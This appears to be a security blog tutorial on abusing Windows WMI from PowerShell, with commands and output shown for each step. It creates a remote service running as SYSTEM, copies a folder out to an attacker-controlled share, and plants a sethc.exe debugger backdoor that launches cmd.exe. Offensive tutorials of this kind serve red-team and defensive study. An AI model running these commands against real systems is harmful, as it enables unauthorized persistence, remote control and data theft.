Back

Getting Started with WMI Weaponization – Part 3

Administrative Tasks with WMI

Substantive changes to the configuration of a system can be made with WMI. These are often overlooked as there are other and less obscure methods to accomplish the same goal. That said, the ability to run these commands remotely through a different medium make these classes quite capable.

Service Creation

Let’s examine the Win32_Service class the same way we did in the previous post:

(Get-CimClass -ClassName Win32_Service).CimClassMethods

Name                  ReturnType Parameters                                                      Qualifiers
----                  ---------- ----------                                                      ----------
StartService              UInt32 {}                                                              {Mappin...
StopService               UInt32 {}                                                              {Mappin...
PauseService              UInt32 {}                                                              {Mappin...
ResumeService             UInt32 {}                                                              {Mappin...
InterrogateService        UInt32 {}                                                              {Mappin...
UserControlService        UInt32 {ControlCode}                                                   {Mappin...
Create                    UInt32 {DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup...} {Mappin...
Change                    UInt32 {DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup...} {Mappin...
ChangeStartMode           UInt32 {StartMode}                                                     {Mappin...
Delete                    UInt32 {}                                                              {Mappin...
GetSecurityDescriptor     UInt32 {Descriptor}                                                    {implem...
SetSecurityDescriptor     UInt32 {Descriptor}                                                    {implem...

Filtering down we can find a create method.

(Get-CimClass -ClassName Win32_Service).CimClassMethods | ? Name -Like Create

Name   ReturnType Parameters                                                      Qualifiers                       
----   ---------- ----------                                                      ----------                       
Create     UInt32 {DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup...} {MappingStrings, Static, ValueMap}

Nice! We have located a create method within the Win32_Service class. Let’s see what parameters it takes:

((Get-CimClass -ClassName Win32_Service).CimClassMethods | ? Name -Like Create).Parameters

Name                           CimType Qualifiers                         ReferenceClassName
----                           ------- ----------                         ------------------
DesktopInteract                Boolean {ID, In, MappingStrings}                            
DisplayName                     String {ID, In, MappingStrings}                            
ErrorControl                     UInt8 {ID, In, MappingStrings}                            
LoadOrderGroup                  String {ID, In, MappingStrings}                            
LoadOrderGroupDependencies StringArray {ID, In, MappingStrings}                            
Name                            String {ID, In, MappingStrings}                             
PathName                        String {ID, In, MappingStrings}                            
ServiceDependencies        StringArray {ID, In, MappingStrings}                            
ServiceType                      UInt8 {BitMap, ID, In, MappingStrings}                    
StartMode                       String {ID, In, MappingStrings, ValueMap}                  
StartName                       String {ID, In, MappingStrings}                            
StartPassword                   String {ID, In, MappingStrings}

Now that we have collected all of the relevant information about creating a service, lets fill in the parameters. Note: The MOF above is position sensitive.

$ServiceType = [byte] 16
$ErrorControl = [byte] 1

Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList `
  $false,`
  "WMI Created Service",`
  $errorcontrol,`
  $null,`
  $null,`
  "WMICreatedService",`
  "C:\Program Files (x86)\PuTTY\plink.exe",`
  $null,`
  $servicetype,`
  "Manual",`
  "NT AUTHORITY\SYSTEM",`
  ""

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

So now we have shown that is possible to remotely create a service on a host without binding to the service controller on the remote host.

File Manipulation

File manipulation is also possible and made MUCH simpler and easier via the CIM classes. In this instance the CIM_DataFile is going to be our friend.

Let’s start off with a simple example:

$File = Get-WmiObject -Query "SELECT * FROM CIM_DataFile WHERE Name = 'C:\\Windows\\System.ini'" -ComputerName 10.1.1.1

We selected all attributes from the CIM_DataFile class for the system.ini file and placed them in the variable $File.

$File
Compressed : False
Encrypted  : False
Size       :
Hidden     : False
Name       : c:\windows\system.ini
Readable   : True
System     : False
Version    :
Writeable  : True

That’s interesting, we have more information about the attributes of the system.ini file.

Let’s what else is accessible via that variable.

$File | gm
   TypeName: System.Management.ManagementObject#root\cimv2\CIM_DataFile

Name                        MemberType    Definition                                                      
----                        ----------    ----------                                                       
PSComputerName              AliasProperty PSComputerName = __SERVER                                       
ChangeSecurityPermissions   Method        System.Management.ManagementBaseObject ChangeSecurityPermissio...
ChangeSecurityPermissionsEx Method        System.Management.ManagementBaseObject ChangeSecurityPermissio...
Compress                    Method        System.Management.ManagementBaseObject Compress()               
CompressEx                  Method        System.Management.ManagementBaseObject CompressEx(System.Strin...
Copy                        Method        System.Management.ManagementBaseObject Copy(System.String File...
CopyEx                      Method        System.Management.ManagementBaseObject CopyEx(System.String Fi...
Delete                      Method        System.Management.ManagementBaseObject Delete()                 
DeleteEx                    Method        System.Management.ManagementBaseObject DeleteEx(System.String ...
GetEffectivePermission      Method        System.Management.ManagementBaseObject GetEffectivePermission(...
Rename                      Method        System.Management.ManagementBaseObject Rename(System.String Fi...
TakeOwnerShip               Method        System.Management.ManagementBaseObject TakeOwnerShip()          
TakeOwnerShipEx             Method        System.Management.ManagementBaseObject TakeOwnerShipEx(System....
Uncompress                  Method        System.Management.ManagementBaseObject Uncompress()             
UncompressEx                Method        System.Management.ManagementBaseObject UncompressEx(System.Str...
AccessMask                  Property      uint32 AccessMask {get;set;}                                     
Archive                     Property      bool Archive {get;set;}                                         
Caption                     Property      string Caption {get;set;}                                       
Compressed                  Property      bool Compressed {get;set;}                                      
CompressionMethod           Property      string CompressionMethod {get;set;}                             
CreationClassName           Property      string CreationClassName {get;set;}                             
CreationDate                Property      string CreationDate {get;set;}                                  
CSCreationClassName         Property      string CSCreationClassName {get;set;}                            
CSName                      Property      string CSName {get;set;}                                        
Description                 Property      string Description {get;set;}                                   
Drive                       Property      string Drive {get;set;}                                         
EightDotThreeFileName       Property      string EightDotThreeFileName {get;set;}                         
Encrypted                   Property      bool Encrypted {get;set;}                                       
EncryptionMethod            Property      string EncryptionMethod {get;set;}                              
Extension                   Property      string Extension {get;set;}                                      
FileName                    Property      string FileName {get;set;}                                      
FileSize                    Property      uint64 FileSize {get;set;}                                      
FileType                    Property      string FileType {get;set;}                                      
[Truncated]
PSStatus                    PropertySet   PSStatus {Status, Name}                                         
ConvertFromDateTime         ScriptMethod  System.Object ConvertFromDateTime();                            
ConvertToDateTime           ScriptMethod  System.Object ConvertToDateTime();

Yikes! When I first ran that, I was genuinely surprised how much was available.
I wonder if we can remotely copy a file on the remote system:

$file.copy("C:\\System.ini")

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

Coooool, and just to verify that it was copied.

Get-WmiObject -Class CIM_DataFile -Filter "Name = 'c:\\system.ini'"

Compressed : False
Encrypted  : False
Size       :
Hidden     : False
Name       : c:\system.ini
Readable   : True
System     : False
Version    :
Writeable  : True

This process isn’t just limited to just files, we can do the same to directories:

$Folder = Get-WmiObject -Query "SELECT * FROM Win32_Directory WHERE Name = 'C:\\SuperSecretFolder'"

$Folder.Copy('\\AttackerSystem\SHARE\MineNow')

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

List Directory File Contents

It is also possible to list the files in a directory:

Get-CimInstance -Query "SELECT * FROM CIM_DataFile WHERE Drive = 'C:' AND Path = '\\'"

Compressed : False
Encrypted  : False
Size       :
Hidden     : True
Name       : c:\bootnxt
Readable   : True
System     : True
Version    :
Writeable  : True

Compressed : False
Encrypted  : False
Size       :
Hidden     : True
Name       : c:\pagefile.sys
Readable   : True
System     : True
Version    :
Writeable  : True

Compressed : False
Encrypted  : False
Size       :
Hidden     : True
Name       : c:\swapfile.sys
Readable   : True
System     : True
Version    :
Writeable  : True

Or more succinctly:

(Get-CimInstance -Query "SELECT * FROM CIM_DataFile WHERE Drive = 'C:' AND Path = '\\'").Name

c:\pagefile.sys
c:\swapfile.sys

Huh, it even shows hidden system files.

List Files and Sub Directories

PS C:\Users\aleary> Get-CimInstance -Query "SELECT * FROM Win32_Directory WHERE Drive = 'C:' AND Path = '\\'"

Name              Hidden Archive Writeable LastModified
----              ------ ------- --------- ------------
c:\$getcurrent    True   False   True      2/21/2017 11:07:20 AM
c:\$recycle.bin   True   False   True      3/9/2017 12:18:45 PM
c:\documents ...  True   False   True      11/17/2015 7:46:04 PM
c:\go             False  True    True      7/7/2016 10:27:13 AM
c:\msocache       True   False   False     9/11/2016 12:20:52 AM
c:\program files  False  False   False     3/8/2017 2:26:24 PM
c:\program fi...  False  False   False     2/20/2017 9:22:27 PM
c:\programdata    True   False   True      3/21/2017 9:45:46 AM
c:\python27       False  True    True      7/8/2016 3:43:42 PM
c:\recovery       True   False   True      12/7/2016 10:18:35 AM
c:\system vol...  True   False   True      3/27/2017 8:58:03 PM
c:\temp           False  False   True      3/24/2017 3:13:06 PM
c:\users          False  False   False     3/9/2017 12:17:24 PM
c:\windows        False  False   True      3/27/2017 10:10:51 PM

Registry Manipulation

Like the service controller and admin shares before, it is also possible to interact with the registry while avoiding SMB.

Let’s look to see if the accessibility options on the remote system have been hooked.

[uint32]$HKLM = 2147483650
$Key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"

(Invoke-WmiMethod -Class StdRegProv -Name EnumKey -ArgumentList $HKLM, $Key).sNames | Select-String sethc.exe

Nope, well let’s fix that:

Invoke-WmiMethod -Class StdRegProv -Name CreateKey -ArgumentList $HKLM, "$Key\sethc.exe"

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

Key created, now for the entry:

Invoke-WmiMethod -Class StdRegProv -Name SetStringValue -ArgumentList $HKLM, "$Key\sethc.exe", "cmd.exe", "Debugger"

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

As we can see, even if port 445 is inaccessible, it is still possible to preform many of the same functions over WMI.

In the next post we will explore how other administrative functions can be leveraged to gain access to files.

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X